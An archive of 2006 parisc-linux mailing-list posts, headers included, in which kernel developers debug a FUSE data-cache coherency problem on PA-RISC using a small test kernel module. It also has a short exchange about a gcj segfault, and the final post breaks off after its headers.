Original-Received: from miko by dorka.pomaz.szeredi.hu with local (Exim 3.36 #1
	(Debian)) id 1FKB1L-0002jY-00; Fri, 17 Mar 2006 10:13:19 +0100
In-reply-to: <1142528286.3244.19.camel@mulgrave.il.steeleye.com> (message from
	James Bottomley on Thu, 16 Mar 2006 10:58:06 -0600)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: hRhoZIRleSEkXL6WZHQhaXN1IGRvb4BE
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25272

> > > FUSE uses a combination of get_user_pages(), kmap_atomic() and
> > > memcpy().  After kunmap_atomic(), flush_dcache_page() is called to
> > > avoid virtual aliasing.  The data in the read buffer is totally
> > > untouched.
> 
> This is wrong.  A VIPT cache requires a mapping to flush on.  If you
> kunmap, you've lost the mapping.  What you should do is
> 
> kmap()
> operate on data
> flush_kernel_dcache_page()
> kunmap()

OK, this didn't help.  Looking closer it didn't have a chance of
helping, since kunmap()/kunmap_atomic() are no-ops unless
CONFIG_HIGHMEM is set, but on parisc there's no highmem support.

Any other ideas?

Thanks,
Miklos

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: gcj can't make shared libs on hppa
Date: Fri, 17 Mar 2006 13:00:01 -0500 (EST)
Lines: 33
Approved: news@gmane.org
Message-ID: <200603171800.k2HI01Tj008945__9270.14033445648$1416624588$gmane$org@hiauly1.hia.nrc.ca>
References: <17433.20663.776171.375034@gargle.gargle.HOWL>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624588 27560 80.91.229.3 (22 Nov 2014 02:49:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:49:48 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org,
 debian-hppa@lists.debian.org
To: doko@cs.tu-berlin.de (Matthias Klose)
Original-X-From: - Wed Jul 02 21:28:19 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 17 Mar 2006 18:00:22 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx081) with SMTP; 17 Mar 2006 19:00:22 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id DFA9B7D6E2;
	Fri, 17 Mar 2006 11:00:17 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 07950-05; Fri, 17 Mar 2006 11:00:17 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B76457D6DA;
	Fri, 17 Mar 2006 11:00:16 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id CBA907D6CF
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 17 Mar 2006 11:00:11 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 07950-02 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 17 Mar 2006 11:00:11 -0700 (MST)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 42E387D6C9
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 17 Mar 2006 11:00:11 -0700 (MST)
Original-Received: by palinux.hppa (Postfix)
	id E42B249563C; Fri, 17 Mar 2006 11:00:10 -0700 (MST)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by palinux.hppa (Postfix) with ESMTP id 8FF1049401D
	for <parisc-linux@parisc-linux.org>;
	Fri, 17 Mar 2006 11:00:10 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged)) by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id
	k2HI027U008946; Fri, 17 Mar 2006 13:00:02 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id k2HI01Tj008945;
	Fri, 17 Mar 2006 13:00:01 -0500 (EST)
In-Reply-To: <17433.20663.776171.375034@gargle.gargle.HOWL> from "Matthias
	Klose" at Mar 16, 2006 12:49:11 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: YJxoZIsSeSEkI76WZHQhaXN1IGRvb4D6
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25273

> John David Anglin writes:
> > > please see http://bugs.debian.org/353346
> > 
> > Should be fixed.  See http://gcc.gnu.org/ml/gcc-patches/2006-03/msg00815.html
> 
> with this change (and the typo fix), gcj-dbtool segfaults:
> 
> (gdb) run -n classmap.db
> Starting program: /usr/bin/gcj-dbtool-4.1 -n classmap.db
> [Thread debugging using libthread_db enabled]
> [New Thread 16384 (LWP 6962)]
> [New Thread 32769 (LWP 6965)]
> [New Thread 16386 (LWP 6966)]
> 
> Program received signal SIGSEGV, Segmentation fault.
> [Switching to Thread 16384 (LWP 6962)]
> linear_search_fdes (ob=0xbff02054, this_fde=0x4291a780, pc=0x427ed7f3)
>     at unwind-dw2-fde.c:776
> 776     unwind-dw2-fde.c: No such file or directory.
>         in unwind-dw2-fde.c

I just remembered, see http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=334112

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:50 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Chris Frost <chris@frostnet.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: [fuse-devel] Example filesystem fail to init on
	parisc
Date: Sat, 18 Mar 2006 20:39:39 -0800
Lines: 55
Approved: news@gmane.org
Message-ID: <20060319043939.GP26474__44157.688241876$1416624588$gmane$org@pooh.bubble.frostnet.net>
References: <20060308071445.GA28275@pooh.bubble.frostnet.net>
	<E1FGwXn-0005Dh-00@dorka.pomaz.szeredi.hu>
	<20060309055002.GJ26474@pooh.bubble.frostnet.net>
	<E1FHKQR-0007JU-00@dorka.pomaz.szeredi.hu>
	<20060309223622.GP26474@pooh.bubble.frostnet.net>
	<E1FHfby-00052b-00@dorka.pomaz.szeredi.hu>
	<20060310230000.GX26474@pooh.bubble.frostnet.net>
	<E1FIlC6-0005ts-00@dorka.pomaz.szeredi.hu>
	<E1FJsHo-0006Yf-00@dorka.pomaz.szeredi.hu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=unknown-8bit
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416624588 27565 80.91.229.3 (22 Nov 2014 02:49:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:49:48 +0000 (UTC)
Cc: fuse-devel@lists.sourceforge.net,
 jick.nan@gmail.com,
 parisc-linux@parisc-linux.org
To: Miklos Szeredi <miklos@szeredi.hu>
Original-X-From: - Wed Jul 02 21:28:19 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 19 Mar 2006 04:40:08 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx084) with SMTP; 19 Mar 2006 05:40:08 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 253D07D67C;
	Sat, 18 Mar 2006 21:40:04 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 19956-09; Sat, 18 Mar 2006 21:40:04 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 098FA7D67D;
	Sat, 18 Mar 2006 21:40:03 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 1AA707D67B
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 18 Mar 2006 21:39:57 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 19956-06 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 18 Mar 2006 21:39:56 -0700 (MST)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 836B97D679
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 18 Mar 2006 21:39:56 -0700 (MST)
Original-Received: by palinux.hppa (Postfix)
	id 3A94A49403E; Sat, 18 Mar 2006 21:39:56 -0700 (MST)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from smtp-7.smtp.ucla.edu (smtp-7.smtp.ucla.edu [169.232.46.137])
	by palinux.hppa (Postfix) with ESMTP id F1AFE494032
	for <parisc-linux@parisc-linux.org>;
	Sat, 18 Mar 2006 21:39:55 -0700 (MST)
Original-Received: from mail.ucla.edu (mail.ucla.edu [169.232.48.151])
	by smtp-7.smtp.ucla.edu (8.13.4/8.13.4) with ESMTP id k2J4dklx030356;
	Sat, 18 Mar 2006 20:39:46 -0800
Original-Received: from pooh.orion.frostnet.net
	(pool-71-106-20-68.lsanca.dsl-w.verizon.net [71.106.20.68])
	(authenticated bits=0)
	by mail.ucla.edu (8.13.5/8.13.5) with ESMTP id k2J4dhLC016044
	(version=TLSv1/SSLv3 cipher=AES256-SHA bits=256 verify=NOT);
	Sat, 18 Mar 2006 20:39:45 -0800
Original-Received: from chris by pooh.orion.frostnet.net with local (Exim 4.50)
	id 1FKphc-0007ve-2Z; Sat, 18 Mar 2006 20:39:40 -0800
Content-Disposition: inline
In-Reply-To: <E1FJsHo-0006Yf-00@dorka.pomaz.szeredi.hu>
X-PGP-Key: Send email with subject 'retrieve pgp key'
X-PGP-Fingerprint: Send email with subject 'retrieve pgp fingerprint'
User-Agent: Mutt/1.5.10i
X-Probable-Spam: no
X-Spam-Hits: 2.5
X-Spam-Score: ***
X-Spam-Report: FORGED_RCVD_HELO,MIME_CHARSET_FARAWAY
X-Scanned-By: smtp.ucla.edu on 169.232.46.137
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: /4VuZIlgeSEkJr6WZHQhaXN1IGRvb4BS
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25274

The kernel output on my parisc machine using copy_to/from_user2() is a bit
different:


woozle:/home/frost/fuse_test# insmod copytest.ko
woozle:/home/frost/fuse_test# cat /proc/fs/test
woozle:/home/frost/fuse_test# echo hello > /proc/fs/test
woozle:/home/frost/fuse_test# dmesg | tail
program smartd is using a deprecated SCSI ioctl, please convert it to SG_IO
test_read 000258a0 1024 0
dst: 000258a0 page: 10acb460 offset: 2208 mapaddr: 3b523000 ptr: 3b5238a0
  test_read: 7
test_read 000258a0 1024 7
  test_read: 0
test_write 000d6c08 6 0
src: 000d6c08 page: 108e9060 offset: 3080 mapaddr: 2c403000 ptr: 2c403c08
<>
  test_write: 6
woozle:/home/frost/fuse_test#


Changing the copy_to/from_user2() calls to copy_to/from_user1() changes
the output to include the "Hello!" and "<hello\n>" you see on an x86
(x86, I presume);


woozle:/home/frost/fuse_test# insmod copytest.ko
woozle:/home/frost/fuse_test# cat /proc/fs/test
Hello!
woozle:/home/frost/fuse_test# echo hello > /proc/fs/test
woozle:/home/frost/fuse_test# dmesg | tail -9
program smartd is using a deprecated SCSI ioctl, please convert it to SG_IO
test_read 000258a0 1024 0
  test_read: 7
test_read 000258a0 1024 7
  test_read: 0
test_write 000d6c08 6 0
<hello
>
  test_write: 6
woozle:/home/frost/fuse_test# 


-- 
Chris Frost  |  <http://www.frostnet.net/chris/>
-------------+----------------------------------
Public PGP Key:
   Email chris@frostnet.net with the subject "retrieve pgp key"
   or visit <http://www.frostnet.net/chris/about/pgp_key.phtml>
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@SteelEye.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: [fuse-devel] Example filesystem fail to
	init on parisc
Date: Sun, 19 Mar 2006 00:43:08 -0600
Lines: 188
Approved: news@gmane.org
Message-ID: <1142750588.3773.26.camel__32692.6259826452$1416624588$gmane$org@mulgrave.il.steeleye.com>
References: <20060308071445.GA28275@pooh.bubble.frostnet.net>
	<E1FGwXn-0005Dh-00@dorka.pomaz.szeredi.hu>
	<20060309055002.GJ26474@pooh.bubble.frostnet.net>
	<E1FHKQR-0007JU-00@dorka.pomaz.szeredi.hu>
	<20060309223622.GP26474@pooh.bubble.frostnet.net>
	<E1FHfby-00052b-00@dorka.pomaz.szeredi.hu>
	<20060310230000.GX26474@pooh.bubble.frostnet.net>
	<E1FIlC6-0005ts-00@dorka.pomaz.szeredi.hu>
	<E1FJsHo-0006Yf-00@dorka.pomaz.szeredi.hu>
	<20060319043939.GP26474@pooh.bubble.frostnet.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624588 27567 80.91.229.3 (22 Nov 2014 02:49:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:49:48 +0000 (UTC)
Cc: fuse-devel@lists.sourceforge.net,
 parisc-linux@parisc-linux.org,
 jick.nan@gmail.com,
 Miklos Szeredi <miklos@szeredi.hu>
To: Hugh Dickins <hugh@veritas.com>,
 Chris Frost <chris@frostnet.net>
Original-X-From: - Wed Jul 02 21:28:19 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 19 Mar 2006 06:44:42 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx012) with SMTP; 19 Mar 2006 07:44:42 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 8ABD57D698;
	Sat, 18 Mar 2006 23:44:38 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 20833-01; Sat, 18 Mar 2006 23:44:37 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C9A737D683;
	Sat, 18 Mar 2006 23:44:36 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C05F37D67C
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 18 Mar 2006 23:44:33 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 20224-10 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 18 Mar 2006 23:44:33 -0700 (MST)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 2AD387D67B
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 18 Mar 2006 23:44:33 -0700 (MST)
Original-Received: by palinux.hppa (Postfix)
	id B194349403A; Sat, 18 Mar 2006 23:44:32 -0700 (MST)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from hancock.sc.steeleye.com (stat9.steeleye.com [209.192.50.41])
	by palinux.hppa (Postfix) with ESMTP id 4E75A494032
	for <parisc-linux@parisc-linux.org>;
	Sat, 18 Mar 2006 23:44:32 -0700 (MST)
Original-Received: from midgard.sc.steeleye.com (midgard.sc.steeleye.com [172.17.6.40])
	by hancock.sc.steeleye.com (8.11.6/8.11.6) with ESMTP id
	k2J6h9219285; Sun, 19 Mar 2006 01:43:09 -0500
In-Reply-To: <20060319043939.GP26474@pooh.bubble.frostnet.net>
X-Mailer: Evolution 2.2.3 (2.2.3-2.fc4) 
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: jJhuZPkTeSEkfr6WZHQhaXN1IGRvb4D4
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25275

On Sat, 2006-03-18 at 20:39 -0800, Chris Frost wrote:
> The kernel output on my parisc machine using copy_to/from_user2() is a bit
> different:

OK, I need Hugh's help on this one.

First of all, I've modified your copypage.c to be correct.  You need a
flush_kernel_dcache_page() within the kmap/kunmap (not
flush_dcache_page).

However, the problem appears to be that the user pointer is coming from
malloc'd memory, which is of type PAGE_MAPPING_ANON.  This flag ensures
that page_mapping(page) returns NULL and thus that flush_dcache_page()
on parisc never actually does any user space flushes.

The reason you see nothing when you cat /proc/fs/test is that these
PAGE_MAPPING_ANON pages for malloc() have a nice trick where the
clear_user_highpage() function blasts a string of zeros over them via
the cache in user space, so they're cache incoherent; you can modify the
underlying page as much as you like, but the data the user sees is the
zeros until the page is flushed.  This is the essence of the problem:
flush_dcache_page() isn't bringing these user pages back into coherency.

Just as proof of this, if you uncomment the asm in my_copy_to_user2,
you'll see everything work correctly, because this asm statement forces
coherency on the user page.

So, Hugh, you were the one who introduced this anonymous page behaviour;
how are we supposed to obtain coherency for these pages?

James

#include <linux/fs.h>
#include <linux/module.h>
#include <linux/proc_fs.h>
#include <linux/pagemap.h>
#include <asm/uaccess.h>

MODULE_LICENSE("GPL");

static int my_copy_to_user1(char __user *dst, const char *src, size_t size)
{
    return copy_to_user(dst, src, size) ? -EFAULT : 0;
}

static int my_copy_from_user1(char *dst, const char __user *src, size_t size)
{
    return copy_from_user(dst, src, size) ? -EFAULT : 0;
}

static int my_copy_to_user2(char __user *dst, const char *src, size_t size)
{
    int err;
    struct page *page;
    unsigned long addr = (unsigned long) dst;
    unsigned offset = addr % PAGE_SIZE;
    void *mapaddr;
    void *ptr;
    if (offset + size > PAGE_SIZE)
        return -EINVAL;

    down_read(&current->mm->mmap_sem);
    err = get_user_pages(current, current->mm, addr, 1, 1, 0, &page, NULL);
    up_read(&current->mm->mmap_sem);
    if (err < 0)
        return err;
    //__asm__ __volatile("\tfdc\t0(%%sr3, %0)\n" : : "r" (addr) : "memory");
    BUG_ON(err != 1);
    mapaddr = kmap_atomic(page, KM_USER0);
    ptr = mapaddr + offset;

    printk("dst: %p page: %p offset: %u mapaddr: %p ptr: %p\n",
           dst, page, offset, mapaddr, ptr);
    printk("mapping %p mapping_mapped %d\n", page->mapping,
	   page->mapping ? mapping_mapped(page->mapping): 0);

    memcpy(ptr, src, size);

    flush_kernel_dcache_page(mapaddr);
    kunmap_atomic(mapaddr, KM_USER0);

    set_page_dirty_lock(page);
    page_cache_release(page);

    return 0;
}

static int my_copy_from_user2(char *dst, const char __user *src, size_t size)
{
    int err;
    struct page *page;
    unsigned long addr = (unsigned long) src;
    unsigned offset = addr % PAGE_SIZE;
    void *mapaddr;
    void *ptr;
    if (offset + size > PAGE_SIZE)
        return -EINVAL;

    down_read(&current->mm->mmap_sem);
    err = get_user_pages(current, current->mm, addr, 1, 0, 0, &page, NULL);
    up_read(&current->mm->mmap_sem);
    if (err < 0)
        return err;
    BUG_ON(err != 1);
    mapaddr = kmap_atomic(page, KM_USER0);
    ptr = mapaddr + offset;

    printk("src: %p page: %p offset: %u mapaddr: %p ptr: %p\n",
           src, page, offset, mapaddr, ptr);

    memcpy(dst, ptr, size);

    kunmap_atomic(mapaddr, KM_USER0);
    put_page(page);

    return 0;
}


static ssize_t test_read(struct file *file, char __user *buf, size_t nbytes,
                         loff_t *off)
{
    ssize_t res = 0;
    char hello[] = "Hello!\n";
    size_t hellolen = strlen(hello);
    printk("test_read %p %lu %llu\n", buf, (unsigned long) nbytes,
           (unsigned long long) *off);
    if (!*off && nbytes > hellolen) {
        res = my_copy_to_user2(buf, hello, hellolen);
        if (!res) {
            *off += hellolen;
            res = hellolen;
        }
    }
    printk("  test_read: %li\n", (long) res);
    return res;
}

static ssize_t test_write(struct file *file, const char __user *buf,
                          size_t nbytes, loff_t *off)
{
    ssize_t res = nbytes;
    char hello[32];
    printk("test_write %p %lu %llu\n", buf, (unsigned long) nbytes,
           (unsigned long long) *off);
    if (!*off && nbytes < sizeof(hello) - 1) {
        res = my_copy_from_user2(hello, buf, nbytes);
        if (!res) {
            hello[nbytes] = '\0';
            printk("<%s>\n", hello);
            *off += nbytes;
            res = nbytes;
        }
    }
    printk("  test_write: %li\n", (long) res);
    return res;
}

static struct file_operations test_ops = {
	.owner		= THIS_MODULE,
	.read		= test_read,
	.write		= test_write,
};

static int test_init(void)
{
    struct proc_dir_entry *ent;
    ent = create_proc_entry("test", S_IFREG | 0666, proc_root_fs);
    if (ent)
        ent->proc_fops = &test_ops;
    return 0;
}

static void test_exit(void)
{
    remove_proc_entry("test", proc_root_fs);
}

module_init(test_init);
module_exit(test_exit);


_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Hugh Dickins <hugh@veritas.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: [fuse-devel] Example filesystem fail to init
	on parisc
Date: Sun, 19 Mar 2006 10:52:49 +0000 (GMT)
Lines: 50
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.61.0603191033480.9273__34382.1455877789$1416624589$gmane$org@goblin.wat.veritas.com>
References: <20060308071445.GA28275@pooh.bubble.frostnet.net> 
	<E1FGwXn-0005Dh-00@dorka.pomaz.szeredi.hu>
	<20060309055002.GJ26474@pooh.bubble.frostnet.net>
	<E1FHKQR-0007JU-00@dorka.pomaz.szeredi.hu>
	<20060309223622.GP26474@pooh.bubble.frostnet.net>
	<E1FHfby-00052b-00@dorka.pomaz.szeredi.hu>
	<20060310230000.GX26474@pooh.bubble.frostnet.net>
	<E1FIlC6-0005ts-00@dorka.pomaz.szeredi.hu>
	<E1FJsHo-0006Yf-00@dorka.pomaz.szeredi.hu>
	<20060319043939.GP26474@pooh.bubble.frostnet.net>
	<1142750588.3773.26.camel@mulgrave.il.steeleye.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN;
  charset=US-ASCII
X-Trace: ger.gmane.org 1416624589 27570 80.91.229.3 (22 Nov 2014 02:49:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:49:49 +0000 (UTC)
Cc: fuse-devel@lists.sourceforge.net,
 jick.nan@gmail.com,
 parisc-linux@parisc-linux.org,
 Chris Frost <chris@frostnet.net>,
 Miklos Szeredi <miklos@szeredi.hu>
To: James Bottomley <James.Bottomley@SteelEye.com>
Original-X-From: - Wed Jul 02 21:28:19 2014
X-Mozilla-Status: 0011
